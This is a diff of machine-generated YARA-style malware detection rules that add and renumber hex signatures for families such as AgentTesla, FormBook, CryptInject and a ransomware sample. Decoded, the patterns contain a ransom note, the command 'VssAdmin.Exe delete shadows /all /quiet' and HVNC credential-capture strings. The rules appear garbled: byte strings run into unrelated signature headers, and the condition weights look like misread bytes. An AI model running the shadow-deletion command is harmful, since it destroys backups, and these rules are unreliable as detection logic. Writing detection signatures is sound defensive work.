@@ rule _InfrastructureShared_15087{ ((#a_46_0 & 1)*16675+(#a_55_1 & 1)*21330+(#a_ff_2 & 1)*9284+(#a_65_3 & 1)*-6108) >=3 } -rule _InfrastructureShared_15088{ +rule _InfrastructureShared_16075{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -174270,7 +185881,7 @@ rule _InfrastructureShared_15088{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*17481+(#a_75_2 & 1)*26966+(#a_53_3 & 1)*-32756+(#a_74_4 & 1)*28001+(#a_73_5 & 1)*26987) >=3 } -rule _InfrastructureShared_15089{ +rule _InfrastructureShared_16076{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 0a 00 21 " @@ -174287,7 +185898,7 @@ rule _InfrastructureShared_15089{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*24933+(#a_73_2 & 1)*-32753+(#a_6c_3 & 1)*28001+(#a_65_4 & 1)*29285+(#a_25_5 & 1)*25637+(#a_65_6 & 1)*16687+(#a_00_8 & 1)*101) >=3 } -rule _InfrastructureShared_15090{ +rule _InfrastructureShared_16077{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -174300,7 +185911,7 @@ rule _InfrastructureShared_15090{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*25966+(#a_90_2 & 1)*14384+(#a_00_3 & 1)*104) >=4 } -rule _InfrastructureShared_15091{ +rule _InfrastructureShared_16078{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -174312,7 +185923,7 @@ rule _InfrastructureShared_15091{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*101+(#a_6e_3 & 1)*385) >=4 } -rule _InfrastructureShared_15092{ +rule _InfrastructureShared_16079{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -174326,7 +185937,7 @@ rule _InfrastructureShared_15092{ ((#a_46_0 & 1)*16675+(#a_61_2 & 1)*17153+(#a_69_3 & 1)*21761+(#a_68_4 & 1)*30063+(#a_00_5 & 1)*11822) >=4 } -rule _InfrastructureShared_15093{ +rule _InfrastructureShared_16080{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -174340,7 +185951,7 @@ rule _InfrastructureShared_15093{ ((#a_63_0 & 1)*16931+(#a_20_1 & 1)*25972+(#a_7d_2 & 1)*25974+(#a_63_3 & 1)*30063+(#a_69_4 & 1)*29779) >=4 } -rule _InfrastructureShared_15094{ +rule _InfrastructureShared_16081{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -174354,7 +185965,7 @@ rule _InfrastructureShared_15094{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*26414+(#a_74_2 & 1)*29283+(#a_61_3 & 1)*21295+(#a_44_4 & 1)*9216) >=5 } -rule _InfrastructureShared_15095{ +rule _InfrastructureShared_16082{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -174368,7 +185979,7 @@ rule _InfrastructureShared_15095{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*101+(#a_00_2 & 1)*32+(#a_73_3 & 1)*656+(#a_90_4 & 1)*30313) >=5 } -rule _InfrastructureShared_15096{ +rule _InfrastructureShared_16083{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -174383,7 +185994,7 @@ rule _InfrastructureShared_15096{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*26691+(#a_74_2 & 1)*4098+(#a_69_3 & 1)*25970+(#a_65_4 & 1)*25902+(#a_0a_5 & 1)*10834) >=5 } -rule _InfrastructureShared_15097{ +rule _InfrastructureShared_16084{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 08 00 21 " @@ -174400,7 +186011,7 @@ rule _InfrastructureShared_15097{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*17225+(#a_78_2 & 1)*11890+(#a_0a_3 & 1)*10834+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1) >=5 } -rule _InfrastructureShared_15098{ +rule _InfrastructureShared_16085{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 0a 00 21 " @@ -174408,18 +186019,33 @@ rule _InfrastructureShared_15098{ $a_46_0 = {59 32 56 3a 5f 4b 65 76 69 6e 5f 42 72 65 65 6e 5f 6b 65 76 69 6e 5f 74 65 63 68 61 6e 61 72 63 68 79 5f 6e 65 74 5f 2f 4c 6f 73 74 44 6f 6f 72 00 01 00 11 01 0d 0a 2a 45 44 49 54 5f 53 45 52 56 45 52 2a 0d 0a 01 00 09 01 2a 6d } //16675 $a_20_1 = {20 25 01 00 08 01 2a 69 70 2a 20 3d 20 25 01 00 0d 01 2a 76 69 63 74 69 6d 6f 2a 20 3d 20 25 01 00 0a 01 2a 6e 61 6d 65 2a 20 } //29804 $a_01_2 = {00 07 01 5b 53 54 41 52 54 5d 01 00 06 01 5b 44 41 54 41 5d 01 00 1d 81 01 57 65 20 43 6f 6e 74 72 6f 6c 20 59 } //8253 - $a_20_3 = {69 67 69 74 61 6c 20 57 6f 72 6c 64 01 00 0d 81 01 52 43 34 49 6e 69 74 69 61 6c 69 7a 65 01 00 0a 81 01 52 43 34 44 65 63 72 79 70 74 00 00 78 e4 00 00 06 00 06 00 06 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 43 50 4e 21 4d 54 42 00 01 00 3b 03 0a 0b 07 28 90 01 03 0a 03 6f 90 01 03 0a 6f 90 } //30063 - $a_0c_4 = {06 08 6f 90 01 03 0a 00 06 18 } //769 - $a_03_5 = {0a } //-28561 - $a_90_6 = {03 0a 02 16 02 8e 69 6f 90 01 03 0a 0d 09 13 04 2b 90 00 01 00 35 03 0a 0c 03 08 73 90 01 03 0a 0d 06 09 06 6f 90 01 03 0a 8e 69 6f 90 01 03 0a 6f 90 01 03 0a 00 06 09 06 6f 90 01 03 0a 8e 69 6f 90 01 03 0a 6f 90 01 03 0a 90 00 01 00 10 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 07 01 47 65 74 54 79 70 65 01 00 09 01 } //1536 - $a_4d_7 = {74 68 6f 64 01 00 0f 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 00 00 78 e4 00 00 06 00 06 00 06 00 21 23 41 4c 46 3a 59 32 56 3a 5f 4b 65 76 69 6e 5f 42 72 65 65 6e 5f 6b 65 76 69 6e 5f 74 65 63 68 61 6e 61 72 63 68 79 5f 6e 65 74 5f 2f 41 72 63 6f 6d 00 01 00 1b 01 43 56 75 33 33 38 38 66 6e 65 6b 33 57 28 33 69 6a 33 66 6b 70 30 39 33 30 } //25927 - $a_00_8 = {08 } //26980 - $a_4e_9 = {41 57 49 32 01 00 19 01 63 6c 57 65 62 4c 69 67 68 74 47 6f 6c 64 65 6e 72 6f 64 59 65 6c 6c 6f 77 01 00 36 01 41 00 6e 00 63 00 65 00 73 00 74 00 6f 00 72 00 20 00 66 00 6f 00 72 00 20 00 27 00 25 00 73 00 27 00 20 00 } //23041 + $a_20_3 = {69 67 69 74 61 6c 20 57 6f 72 6c 64 01 00 0d 81 01 52 43 34 49 6e 69 74 69 61 6c 69 7a 65 01 00 0a 81 01 52 43 34 44 65 63 72 79 70 74 00 00 78 e4 00 00 06 00 05 00 06 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 4d 61 6b 6f 6f 62 2e 4b 56 4a 36 31 32 21 4d 54 42 00 01 00 1b 81 01 75 6e 72 65 73 69 64 65 6e 74 69 61 6c 20 62 72 61 74 73 63 68 } //30063 + $a_65_4 = {73 01 00 1a 81 01 70 72 65 6c 6f 63 61 74 65 20 6e 61 70 68 74 68 61 6e 74 68 72 61 63 65 6e 65 01 00 11 81 01 72 61 67 65 64 65 20 61 65 72 6f 66 72 61 6d 65 73 01 00 1c 81 01 5c 55 73 6c 75 6b 6b 65 6c 69 67 65 5c 66 72 65 6d 73 6b 79 6e 64 65 73 2e 69 6e 69 01 00 20 81 01 5c 53 76 6b 6c 69 6e 67 65 6e 73 5c 46 65 75 69 } //26478 + $a_74_5 = {6e 69 73 74 31 30 38 2e 65 78 65 01 00 1d 81 01 5c 53 74 75 6d 70 65 62 75 6b 73 65 72 6e 65 5c 61 73 63 6f 72 62 61 74 65 2e 67 69 66 00 00 78 e4 00 00 06 00 06 00 06 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 43 50 4e 21 4d 54 42 00 01 00 3b 03 0a 0b 07 } //27756 + $a_03_6 = {0a } //-28632 + $a_01_7 = {03 0a 6f 90 01 03 0a 0c 06 08 6f 90 01 03 0a 00 06 18 6f 90 01 03 0a 00 06 6f 90 01 03 0a 02 16 02 8e 69 6f 90 01 03 0a 0d 09 13 04 2b 90 00 01 00 35 03 0a 0c 03 08 73 90 01 03 0a 0d 06 09 06 6f 90 01 03 0a 8e 69 6f 90 01 03 0a 6f 90 01 03 0a 00 06 09 06 6f 90 01 03 0a 8e 69 6f 90 01 03 0a 6f 90 01 03 0a 90 00 01 00 10 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 07 01 47 65 74 54 79 70 65 01 00 09 01 47 65 74 4d 65 } //28419 + $a_64_8 = {00 0f 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 00 00 78 e4 00 00 06 00 06 00 06 00 21 23 41 4c 46 3a 59 32 56 3a 5f 4b 65 76 69 6e 5f 42 72 65 65 6e 5f 6b 65 76 69 6e 5f 74 65 63 68 61 6e 61 72 63 68 79 5f 6e 65 74 5f 2f 41 72 63 6f 6d 00 01 00 1b 01 43 56 75 33 33 38 38 66 6e 65 6b 33 57 28 33 69 6a 33 66 6b 70 30 39 33 30 } //26740 + $a_00_9 = {08 } //26980 condition: - ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*29804+(#a_01_2 & 1)*8253+(#a_20_3 & 1)*30063+(#a_0c_4 & 1)*769+(#a_03_5 & 1)*-28561+(#a_90_6 & 1)*1536+(#a_4d_7 & 1)*25927+(#a_00_8 & 1)*26980+(#a_4e_9 & 1)*23041) >=5 + ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*29804+(#a_01_2 & 1)*8253+(#a_20_3 & 1)*30063+(#a_65_4 & 1)*26478+(#a_74_5 & 1)*27756+(#a_03_6 & 1)*-28632+(#a_01_7 & 1)*28419+(#a_64_8 & 1)*26740+(#a_00_9 & 1)*26980) >=5 } -rule _InfrastructureShared_15099{ +rule _InfrastructureShared_16086{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 05 00 06 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 4d 61 6b 6f 6f 62 2e 4b 56 4a 36 31 32 21 4d 54 42 00 01 00 1b 81 01 75 6e 72 65 73 69 64 65 6e 74 69 61 6c 20 62 72 61 74 73 63 68 6e 67 6c 65 6e 73 01 00 1a 81 01 70 72 65 6c 6f 63 61 74 65 20 6e 61 70 68 74 68 61 6e 74 68 72 } //18467 + $a_6e_1 = {01 00 11 81 01 72 61 67 65 64 65 20 61 65 72 6f 66 72 61 6d 65 73 01 00 1c 81 01 5c 55 73 6c 75 6b 6b 65 6c 69 67 65 5c 66 72 65 6d 73 6b 79 6e 64 65 73 2e 69 6e 69 01 00 20 81 01 5c 53 76 6b 6c 69 6e 67 65 6e 73 5c 46 65 75 69 6c 6c 65 74 6f 6e 69 73 74 31 30 38 2e 65 78 65 01 00 1d 81 01 5c 53 74 75 } //25441 + $a_62_2 = {6b 73 65 72 6e 65 5c 61 73 63 6f 72 62 61 74 65 2e 67 69 66 00 00 78 e4 00 00 06 00 06 00 06 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 43 50 4e 21 4d 54 42 00 01 00 3b 03 0a 0b 07 28 90 01 03 0a 03 6f 90 01 03 0a 6f 90 01 03 0a 0c 06 08 6f 90 01 03 0a 00 } //28781 + $a_90_3 = {03 0a 00 06 6f 90 01 03 0a 02 16 02 8e 69 6f 90 01 03 0a 0d 09 13 04 2b 90 00 01 00 35 03 0a 0c 03 08 73 90 01 03 0a 0d 06 09 06 6f 90 01 03 0a 8e 69 6f 90 01 03 0a 6f 90 01 03 0a 00 06 09 06 6f 90 01 03 0a 8e 69 6f 90 01 03 0a 6f 90 01 03 0a 90 00 01 00 10 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 07 01 47 65 74 54 } //6150 + $a_01_4 = {00 09 01 47 65 74 4d 65 74 68 6f 64 01 00 0f 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 00 00 78 e4 00 00 06 00 06 00 06 00 21 23 41 4c 46 3a 59 32 56 3a 5f 4b 65 76 69 6e 5f 42 72 65 65 6e 5f 6b 65 76 69 6e 5f 74 65 63 68 61 6e 61 72 63 68 79 5f 6e 65 74 5f 2f 41 72 63 6f 6d 00 01 00 1b 01 43 56 } //28793 + $a_38_5 = {66 6e 65 6b 33 57 28 33 69 6a 33 66 6b 70 30 39 33 30 64 69 01 00 08 01 5a 49 4e 47 41 57 49 32 01 00 19 01 63 6c 57 65 62 4c 69 67 68 74 47 6f 6c 64 65 } //13173 + condition: + ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*25441+(#a_62_2 & 1)*28781+(#a_90_3 & 1)*6150+(#a_01_4 & 1)*28793+(#a_38_5 & 1)*13173) >=5 + +} +rule _InfrastructureShared_16087{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -174434,7 +186060,7 @@ rule _InfrastructureShared_15099{ ((#a_46_0 & 1)*16675+(#a_02_1 & 1)*522+(#a_03_2 & 1)*-28557+(#a_06_3 & 1)*1549+(#a_6f_4 & 1)*769+(#a_69_5 & 1)*2563) >=6 } -rule _InfrastructureShared_15100{ +rule _InfrastructureShared_16088{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -174448,7 +186074,7 @@ rule _InfrastructureShared_15100{ ((#a_46_0 & 1)*16675+(#a_4e_2 & 1)*23041+(#a_00_3 & 1)*110+(#a_20_4 & 1)*25966+(#a_61_5 & 1)*29550) >=6 } -rule _InfrastructureShared_15101{ +rule _InfrastructureShared_16089{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -174463,7 +186089,7 @@ rule _InfrastructureShared_15101{ ((#a_54_0 & 1)*18467+(#a_68_1 & 1)*26999+(#a_61_2 & 1)*8297+(#a_65_3 & 1)*24940+(#a_69_4 & 1)*14640+(#a_6a_5 & 1)*29268) >=6 } -rule _InfrastructureShared_15102{ +rule _InfrastructureShared_16090{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -174472,25 +186098,55 @@ rule _InfrastructureShared_15102{ $a_65_1 = {35 35 5c 64 72 6d 6d 65 73 79 6e 65 72 6e 65 01 00 27 81 01 25 53 69 67 6e 66 69 63 61 6e 74 6c 79 25 5c 52 65 76 6f 6c 75 74 69 6f 6e 73 6d 6f 64 65 6c 5c 73 65 65 64 65 72 73 01 00 23 81 01 24 24 5c 6d 6f 6e 6f 70 6f 6c 69 65 73 5c 53 65 6d 69 63 6f 6e 66 6f 72 6d 69 73 74 32 30 39 2e 69 6e 69 01 00 16 81 01 73 74 72 61 6e 67 75 6c 61 74 65 73 } //24940 $a_6e_2 = {6c 72 6b 65 6e 00 00 78 e4 00 00 06 00 06 00 06 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 72 79 70 74 49 6e 6a 65 63 74 2e 59 41 21 4d 54 42 00 01 00 18 01 41 56 4e 43 2e 52 65 73 6f 75 72 63 65 73 2e 6c 6f 67 69 6e 2e 68 74 6d 01 00 18 01 41 56 4e 43 2e 52 65 73 6f 75 } //29532 $a_73_3 = {73 63 72 69 70 74 2e 6a 73 01 00 1c 01 47 00 45 00 54 00 20 00 2f 00 73 00 65 00 6e 00 64 00 43 00 6c 00 69 00 63 00 6b 00 01 00 1e 01 47 00 45 00 54 00 20 00 2f 00 73 00 65 00 6e 00 64 00 53 00 74 00 72 00 6f 00 6b 00 65 00 01 00 2c 01 41 00 2d 00 56 00 4e 00 43 00 6c 00 6f 00 67 00 69 00 6e 00 50 00 } //25458 - $a_00_4 = {73 00 77 00 6f 00 72 00 64 00 53 00 61 00 6c 00 74 00 01 00 08 01 48 56 4e 43 2e 70 64 62 00 00 78 e4 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 30 35 2d 30 39 72 72 32 30 21 4d 54 42 00 01 00 12 00 54 00 72 00 69 00 70 00 6c 00 65 00 44 00 45 00 53 00 01 00 10 00 52 00 69 00 6a 00 6e 00 64 } //97 + $a_00_4 = {73 00 77 00 6f 00 72 00 64 00 53 00 61 00 6c 00 74 00 01 00 08 01 48 56 4e 43 2e 70 64 62 00 00 78 e4 00 00 07 00 07 00 05 00 21 23 53 4c 46 3a 57 69 6e 36 34 2f 45 61 74 44 69 72 65 63 74 6f 72 2e 41 00 01 00 23 01 c6 44 24 68 48 c6 44 24 69 33 c6 44 24 6a c0 c6 44 24 6b 48 c6 44 24 6c ff c6 44 24 6d c0 c6 44 24 6e c3 02 00 1f 03 4c 8b c9 4c } //97 + $a_8b_5 = {24 90 01 04 48 8b 50 20 48 8b 84 24 90 01 04 48 8b 48 08 e8 90 00 02 00 24 03 48 89 44 24 20 41 b9 90 01 09 48 8b 54 24 38 48 8b 84 24 90 01 04 48 8b 48 08 e8 90 01 04 89 44 24 30 90 00 01 00 35 03 b8 01 00 00 00 48 } //-16245 condition: - ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*24940+(#a_6e_2 & 1)*29532+(#a_73_3 & 1)*25458+(#a_00_4 & 1)*97) >=6 + ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*24940+(#a_6e_2 & 1)*29532+(#a_73_3 & 1)*25458+(#a_00_4 & 1)*97+(#a_8b_5 & 1)*-16245) >=6 } -rule _InfrastructureShared_15103{ +rule _InfrastructureShared_16091{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " strings : $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 72 79 70 74 49 6e 6a 65 63 74 2e 59 41 21 4d 54 42 00 01 00 18 01 41 56 4e 43 2e 52 65 73 6f 75 72 63 65 73 2e 6c 6f 67 69 6e 2e 68 74 6d 01 00 18 01 41 56 4e 43 2e } //21539 $a_6f_1 = {72 63 65 73 2e 73 63 72 69 70 74 2e 6a 73 01 00 1c 01 47 00 45 00 54 00 20 00 2f 00 73 00 65 00 6e 00 64 00 43 00 6c 00 69 00 63 00 6b 00 01 00 1e 01 47 00 45 00 54 00 20 00 2f 00 73 00 65 00 6e 00 64 00 53 00 74 00 72 00 6f 00 6b 00 65 00 01 00 2c 01 41 00 2d 00 56 00 4e 00 43 00 6c 00 6f 00 67 00 69 00 6e 00 50 00 61 00 73 00 73 00 77 00 6f } //25938 - $a_00_3 = {6c 00 74 00 01 00 08 01 48 56 4e 43 2e 70 64 62 00 00 78 e4 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 30 35 2d 30 39 72 72 32 30 21 4d 54 42 00 01 00 12 00 54 00 72 00 69 00 70 00 6c 00 65 00 44 00 45 00 53 00 01 00 10 00 52 00 69 00 6a } //83 - $a_00_5 = {6c 00 01 00 25 01 24 39 35 62 35 33 61 30 64 2d 65 34 62 31 2d 34 62 64 66 2d 39 65 34 37 2d 30 65 65 31 35 32 65 62 36 35 64 32 01 00 14 01 47 65 74 45 78 65 63 75 74 69 6e 67 41 73 73 65 6d 62 6c 79 01 00 1f 01 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 } //97 + $a_00_3 = {6c 00 74 00 01 00 08 01 48 56 4e 43 2e 70 64 62 00 00 78 e4 00 00 07 00 07 00 05 00 21 23 53 4c 46 3a 57 69 6e 36 34 2f 45 61 74 44 69 72 65 63 74 6f 72 2e 41 00 01 00 23 01 c6 44 24 68 48 c6 44 24 69 33 c6 44 24 6a c0 c6 44 24 6b 48 c6 44 24 6c ff c6 44 24 6d c0 c6 44 24 6e c3 02 00 1f 03 } //83 + $a_4c_4 = {c0 48 8b 84 24 90 01 04 48 8b 50 20 48 8b 84 24 90 01 04 48 8b 48 08 e8 90 00 02 00 24 03 48 89 44 24 20 41 b9 90 01 09 48 8b 54 24 38 48 8b 84 24 90 01 04 48 8b 48 08 e8 90 01 04 89 44 24 30 90 00 01 00 35 03 b8 01 00 00 00 48 6b c0 00 c6 44 04 70 90 01 01 b8 01 00 00 00 48 6b c0 01 c6 44 04 70 90 01 01 b8 01 00 00 00 48 6b c0 02 48 8b 4c 24 38 48 89 4c 04 70 90 00 02 00 13 03 48 8b 4c 24 38 e8 90 01 04 89 44 24 20 83 7c 24 20 90 00 00 00 78 e4 00 00 07 00 07 00 06 00 21 23 53 4c 46 3a 52 61 6e 73 6f 6d 3a 4d 53 49 4c 2f 46 61 6b 65 46 69 6c 65 43 6f 64 65 72 2e 42 4d 58 21 4d 54 42 00 01 00 0e } //-29876 + $a_41_5 = {45 20 57 41 4e 4e 41 20 43 52 59 05 00 25 80 01 4f 6f 6f 70 73 2c 20 79 6f 75 72 20 66 69 6c 65 73 20 68 61 73 20 62 65 65 6e 20 65 6e 63 72 79 70 74 65 64 21 01 00 16 00 62 00 69 00 74 00 63 00 6f 00 69 00 6e } //384 condition: - ((#a_4c_0 & 1)*21539+(#a_6f_1 & 1)*25938+(#a_00_3 & 1)*83+(#a_00_5 & 1)*97) >=6 + ((#a_4c_0 & 1)*21539+(#a_6f_1 & 1)*25938+(#a_00_3 & 1)*83+(#a_4c_4 & 1)*-29876+(#a_41_5 & 1)*384) >=6 } -rule _InfrastructureShared_15104{ +rule _InfrastructureShared_16092{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 05 00 21 " + + strings : + $a_46_0 = {57 69 6e 36 34 2f 45 61 74 44 69 72 65 63 74 6f 72 2e 41 00 01 00 23 01 c6 44 24 68 48 c6 44 24 69 33 c6 44 24 6a c0 c6 44 24 6b 48 c6 44 24 6c ff c6 44 24 6d c0 c6 44 24 6e c3 02 00 1f 03 4c 8b c9 4c 8b c0 48 8b 84 24 90 01 04 } //21283 + $a_20_1 = {8b 84 24 90 01 04 48 8b 48 08 e8 90 00 02 00 24 03 48 89 44 24 20 41 b9 90 01 09 48 8b 54 24 38 48 8b 84 24 90 01 04 48 8b 48 08 e8 90 01 04 89 44 24 30 90 00 01 00 35 03 b8 01 00 00 00 48 6b c0 00 c6 44 04 70 90 01 01 b8 01 00 00 00 48 6b } //-29880 + $a_44_2 = {70 90 01 01 b8 01 00 00 00 48 6b c0 02 48 8b 4c 24 38 48 89 4c 04 70 90 00 02 00 13 03 48 8b 4c 24 38 e8 90 01 04 89 44 24 20 83 7c 24 20 90 00 00 00 78 e4 00 00 07 00 07 00 06 00 21 23 53 4c 46 3a 52 61 6e 73 6f 6d 3a 4d 53 49 4c 2f 46 61 6b 65 46 69 6c 65 43 6f 64 65 72 2e 42 4d 58 21 4d 54 42 00 01 00 0e 80 01 46 41 4b 45 20 57 41 4e 4e 41 20 43 52 59 05 00 25 80 01 4f 6f 6f 70 73 2c 20 79 6f 75 72 20 66 69 6c 65 73 20 68 61 73 20 62 65 65 6e 20 65 6e 63 72 79 70 74 65 64 21 01 00 16 00 62 00 69 00 74 00 63 00 6f 00 69 00 6e 00 2e 00 63 00 6f 00 6d 00 01 00 1a 00 2e 00 47 00 6f 00 6c } //448 + $a_00_4 = {78 00 6c 00 6f 00 6e 00 61 00 05 00 27 00 56 73 73 41 64 6d 69 6e 2e 45 78 65 20 64 65 6c 65 74 65 20 73 68 61 64 6f 77 73 20 2f 61 6c 6c 20 2f 71 75 69 65 74 01 00 10 00 4e 00 6f 00 74 00 65 00 2e 00 54 00 } //97 + condition: + ((#a_46_0 & 1)*21283+(#a_20_1 & 1)*-29880+(#a_44_2 & 1)*448+(#a_00_4 & 1)*97) >=7 + +} +rule _InfrastructureShared_16093{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 06 00 21 " + + strings : + $a_46_0 = {52 61 6e 73 6f 6d 3a 4d 53 49 4c 2f 46 61 6b 65 46 69 6c 65 43 6f 64 65 72 2e 42 4d 58 21 4d 54 42 00 01 00 0e 80 01 46 41 4b 45 20 57 41 4e 4e 41 20 43 52 59 05 00 25 80 01 4f 6f 6f 70 73 2c 20 79 6f 75 72 20 66 69 6c 65 73 20 } //21283 + $a_20_1 = {65 65 6e 20 65 6e 63 72 79 70 74 65 64 21 01 00 16 00 62 00 69 00 74 00 63 00 6f 00 69 00 6e 00 2e 00 63 00 6f 00 6d 00 01 00 1a 00 2e 00 47 00 6f 00 6c 00 6f 00 76 00 61 00 45 00 78 00 6c 00 6f 00 6e 00 61 00 05 00 27 00 56 73 73 41 64 6d 69 6e 2e 45 78 65 20 64 65 6c 65 74 65 20 73 68 61 64 6f 77 73 20 2f 61 6c 6c 20 2f 71 75 69 65 74 01 00 } //24936 + $a_00_2 = {6f 00 74 00 65 00 2e 00 54 00 78 00 74 00 00 00 78 e4 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 30 35 2d 30 39 72 72 32 30 21 4d 54 42 00 01 00 12 00 54 00 72 00 69 00 70 00 6c 00 } //16 + $a_00_3 = {45 00 53 00 01 00 10 00 52 00 69 00 6a 00 6e 00 64 00 61 00 65 00 6c 00 01 00 25 01 24 39 35 62 35 33 61 30 64 2d 65 34 62 31 2d 34 62 64 66 2d 39 65 34 37 2d 30 65 65 31 35 32 65 62 36 35 64 32 01 00 14 } //101 + $a_74_4 = {78 65 63 75 74 69 6e 67 41 73 73 65 6d 62 6c 79 01 00 1f 01 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 10 01 49 43 72 79 70 74 6f 54 72 61 6e 73 66 6f 72 6d 01 00 10 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 00 00 78 e4 00 00 07 00 07 00 } //18177 + $a_23_5 = {53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 46 6f 72 6d 42 6f 6f 6b 2e 54 47 4f 4f 31 21 4d 54 } //7 STR:Trojan:MSIL/FormBook.TGOO1!MT + condition: + ((#a_46_0 & 1)*21283+(#a_20_1 & 1)*24936+(#a_00_2 & 1)*16+(#a_00_3 & 1)*101+(#a_74_4 & 1)*18177+(#a_23_5 & 1)*7) >=7 + +} +rule _InfrastructureShared_16094{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -174505,7 +186161,7 @@ rule _InfrastructureShared_15104{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*24883+(#a_01_2 & 1)*27746+(#a_01_4 & 1)*9472+(#a_72_5 & 1)*385+(#a_6c_6 & 1)*18223) >=7 } -rule _InfrastructureShared_15105{ +rule _InfrastructureShared_16095{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -174520,7 +186176,7 @@ rule _InfrastructureShared_15105{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*24908+(#a_65_2 & 1)*29797+(#a_69_3 & 1)*24950+(#a_01_4 & 1)*3072+(#a_6f_6 & 1)*384) >=7 } -rule _InfrastructureShared_15106{ +rule _InfrastructureShared_16096{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -174536,7 +186192,7 @@ rule _InfrastructureShared_15106{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*20596+(#a_20_2 & 1)*20512+(#a_2e_3 & 1)*26978+(#a_69_4 & 1)*21761+(#a_45_5 & 1)*-3593+(#a_65_6 & 1)*28496) >=7 } -rule _InfrastructureShared_15107{ +rule _InfrastructureShared_16097{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 0a 00 21 " @@ -174548,13 +186204,13 @@ rule _InfrastructureShared_15107{ $a_65_5 = {65 63 75 74 65 3d 01 00 0b 00 61 75 74 6f 72 75 6e 2e 69 6e 66 01 00 13 00 43 3a 5c 57 49 4e 44 4f 57 53 5c 53 59 53 54 45 4d 33 32 01 00 12 00 43 75 72 72 65 6e 74 56 65 72 73 69 